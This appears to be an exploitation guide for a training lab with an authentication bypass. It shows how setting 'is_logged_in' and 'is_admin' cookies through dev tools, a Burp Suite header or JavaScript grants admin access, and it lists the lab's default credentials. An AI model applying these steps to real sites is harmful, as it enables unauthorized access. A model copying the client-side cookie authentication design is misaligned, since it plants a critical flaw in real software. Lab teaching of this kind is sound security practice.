🎯 Vulnerability Info
Type: Authentication Bypass
Severity: Critical
💡 How to Exploit
- Authentication relies on client-side cookies
- Cookies can be modified using browser dev tools
- No server-side verification of cookie values
🧪 Exploitation Steps
- Open browser Developer Tools (F12)
- Go to Application → Cookies
- Add cookie:
is_logged_in=true
- Add cookie:
is_admin=true
- Refresh the page
🔧 Burp Suite Method
1. Intercept any request
2. Add header:
Cookie: is_logged_in=true; is_admin=true
3. Forward the request
📝 Using JavaScript Console
document.cookie = "is_logged_in=true; path=/";
document.cookie = "is_admin=true; path=/";
location.reload();
📚 Valid Credentials
- admin / admin123 (admin role)
- user / user123 (user role)